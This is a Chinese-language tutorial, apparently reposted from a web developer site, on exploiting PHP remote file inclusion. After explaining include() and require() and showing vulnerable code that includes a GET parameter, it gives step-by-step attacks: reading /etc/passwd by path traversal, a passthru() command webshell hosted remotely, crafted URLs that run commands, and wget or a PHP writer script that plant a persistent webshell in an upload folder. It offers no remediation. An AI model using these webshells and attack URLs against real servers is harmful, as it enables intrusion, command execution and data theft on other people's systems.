php 远程包含文件漏洞分析
前端之家收集整理的这篇文章主要介绍了
php 远程包含文件漏洞分析,
前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
几乎所有的cgi程序都有这样的 bug,只是具体的表现方式不一样罢了。 一、涉及到的危险函数〔include(),require()和include_once(),require_once()〕 include() && require()语句:包括并运行指定文件。 这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行。
如果"allow_url_fopen"在 PHP 中被激活(默认配置),也可以用 URL(通过 HTTP 或者其它支持的封装协议)而不是本地文件来指定要被包括的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。
详细参考:http://cn.PHP.net/manual/en/function.include.PHP require_once() && include_once()
require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
详细参考:http://cn.PHP.net/manual/en/function.require-once.PHP 二、为什么要包含文件 程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.PHP,而后在其它文件进行包含调用。在PHP里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.PHP里包含share.PHP,我将这样写include("share.PHP")就达到目的,然后就可以使用share.PHP中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?
有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.PHP的代码:
<div class="codetitle"><a style="CURSOR: pointer" data="41628" class="copybut" id="copybut41628" onclick="doCopy('code41628')"> 代码如下:
<div class="codebody" id="code41628"> if ($_GET) {
include $_GET;
} else {
include "home.
PHP";
}
很正常的一段
PHP代码,它是怎么运作的呢?这里面涉及到$_GET的意义,我就不打算讲了(要不又能写篇HTTP的
文章了),如果你还不了解GET,POST,等,那么你需要再Google一些相关的资料好好补一补了。
上面这段
代码的使用格式可能是这样的://www.jb51.cc/
PHP/index.
PHP?page=main.
PHP或者http: //www.jb51.cc/
PHP/index.
PHP?page=downloads.
PHP,结合上面
代码,简单说下怎么运作的:
1.提交上面这个URL,在index.
PHP中就取得这个page的值($_GET)。
2.判断$_GET是不是空,若不空(这里是main.
PHP)就用include来包含这个
文件。
3.若$_GET空的话就执行else,来include home.
PHP 这个
文件。 三、为什么会产生漏洞 你也许要说,这样很好呀,可以按照URL来动态包含
文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们不会按照他的
链接来操作,我们可能想自己写想包含(
调用)的
文件,比如我们会随便的打入下面这个URL:http: //www.jb51.cc/
PHP/index.
PHP?page=hello.
PHP。然后我们的index.
PHP程序就傻傻按照上面我们说得步骤去执行:取page为hello.
PHP,然后去include(hello.
PHP),这时问题出现了,因为我们并没有hello.
PHP这个
文件,所以它 include的时候就会报警告,类似下列信息: Quote:
Warning: include(hello.
PHP) [function.include]:
Failed to open stream: No such file or directory in /vhost/
PHP/index.
PHP on line 3
Warning: include() [function.include]:
Failed opening 'hello.
PHP' for inclusion (include_path='.:') in /vhost/
PHP/index.
PHP on line 3 注意上面的那个Warning就是找不到我们指定的hello.
PHP文件,也就是包含不到我们指定路径的
文件;而后面的警告是因为前面没有找到指定
文件,所以包含的时候就出警告了。 四、怎么利用 上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用
方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用
方法: 1.包含读出目标机上其它
文件 由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感
文件,例如在前面的警告中,我们可以看到暴露的
绝对路径(vhost/
PHP/),那么我们就可以多次探测来包含其它
文件,比如指定URL为:http: //www.jb51.cc/
PHP/index.
PHP?page=./txt.txt 可以读出当前路径下的txt.txt
文件,也可以使用.. /../进行目录
跳转(在没过滤../的情况下);也可以直接指定
绝对路径,读取敏感的系统
文件,比如这个URL:http: //www.jb51.cc/
PHP/index.
PHP?page=/etc/passwd ,如果目标主机没有对权限限制的很严格,或者启动 Apache的权限比较高,是可以读出这个
文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning。 2.包含可运行的
PHP木马 如果目标主机的"allow_url_fopen"是激活的(默认是激活的,没几个人会
修改),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含
PHP代码的webshell来直接运行,比如,我先写一段运行命令的
PHP代码(加了注释,应该看得懂),如下保存为cmd.txt(后缀不重要,只要
内容为
PHP格式就可以了)。
CODE: [Copy to clipboard]
-------------------------------------------------------------------------------- if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)
ini_set("max_execution_time",0); //设定针对这个
文件的执行时间,0为不限制.
echo "
1.S.T
"; //打印的返回的开始行
提示信息
passthru($_REQUEST["cmd"]); //运行cmd指定的命令
echo "
1.S.T
"; //打印的返回的结束行
提示信息
?>
以上这个
文件的作用就是接受cmd指定的命令,并
调用passthru
函数执行,把
内容返回在1.S.T之间。把这个
文件保存到我们主机的服务器上(可以是
不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http: //www.jb51.cc/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http: //www.jb51.cc/
PHP/index.
PHP?page=//www.jb51.cc/cmd.txt?cmd=ls,其中 cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下: Quote:
ll 列目录、
文件(相当于Windows下dir)
pwd 查看当前
绝对路径 id whoami 查看当前
用户 wget 下载指定URL的
文件 等等其它的,你主机去BAIDU找吧,就不列举了。
上面的
方法就是得到一个Webshell了(虽然这个
PHP文件不在目标机上,但是它确实是个Webshell,不是么?呵呵) 3.包含一个创建
文件的
PHP文件 也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那个"伪 "Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的
方法: 1)使用wget之类的命令来下载一个Webshell 这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以
调用系统中的一个很厉害的角色,wget,这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个-O(--output-document=FILE,把文档写到FILE
文件中) 就可以了,呵呵。
前提是你在按照前面的步骤放一个包含
PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比如:http: //www.jb51.cc/1st
PHP.txt,这个
文件里写的就是Webshell的
内容。然后我们在前面得到的伪Webshell中执行如下的 URL://www.jb51.cc/
PHP/index.
PHP?page=//www.jb51.cc/cmd.txt? cmd=wget //www.jb51.cc/1st
PHP.txt -O 1st
PHP.
PHP ,如果当前目录可写,就能得到一个叫做1st
PHP.
PHP的Webshell了;如果当前目录不可写,还需要想其它的办法。 2)使用
文件来创建 前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含
文件漏洞来包含一个创建
文件(写
文件)的
PHP脚本,
内容如下:
CODE: [Copy to clipboard]
-------------------------------------------------------------------------------- $f=file_get_contents("//www.jb51.cc/1st
PHP.txt"); //打开指定路径的
文件流
$ff=fopen("./upload/1st.
PHP","a"); //寻找一个可以的目录,创建一个
文件 fwrite ($ff,$f); //把前面打开的
文件流写到创建的
文件里
fclose($ff); //
关闭保存
文件 ?>
还是写入我们上面用wget下载的那个
PHP文件,但是我们改进了
方法,用
PHP脚本来实现,可以使用上面的cmd.
PHP?cmd=ll查找可以写的目录,比如这里的upload,然后把
文件创建在这个目录下:./upload/1st.
PHP。然后就得到我们的Webshell了。 五、后话 其实到这里我们的这个分专题就可以结束了,最后再唠叨几句,
文件包含漏洞基本上算比较简单但是危象系数很高的漏洞,在很多系统中还是存在的,只要细心一点,可以发现很多的。利用起来过程比较灵活,要擅于针对问题进行分析,找出
解决的办法,就能慢慢进步。
漏洞涉及的知识很多,不能一一涉及,没说清除的地方,欢迎发问,或者自己去Google
解决。时间匆忙,描述不妥之处还望大家指正修订!
最后,这样的东西需要多实践,等有时间,我会找个具体的例子来把这个流程走一遍,以使大家有深刻的认识;你也可以现在就去找找看,发现什么漏洞,希望能把自己比较详细的分析和利用过程在这与大家
分享!1st祝你进步
原文链接:https://www.f2er.com/php/28962.html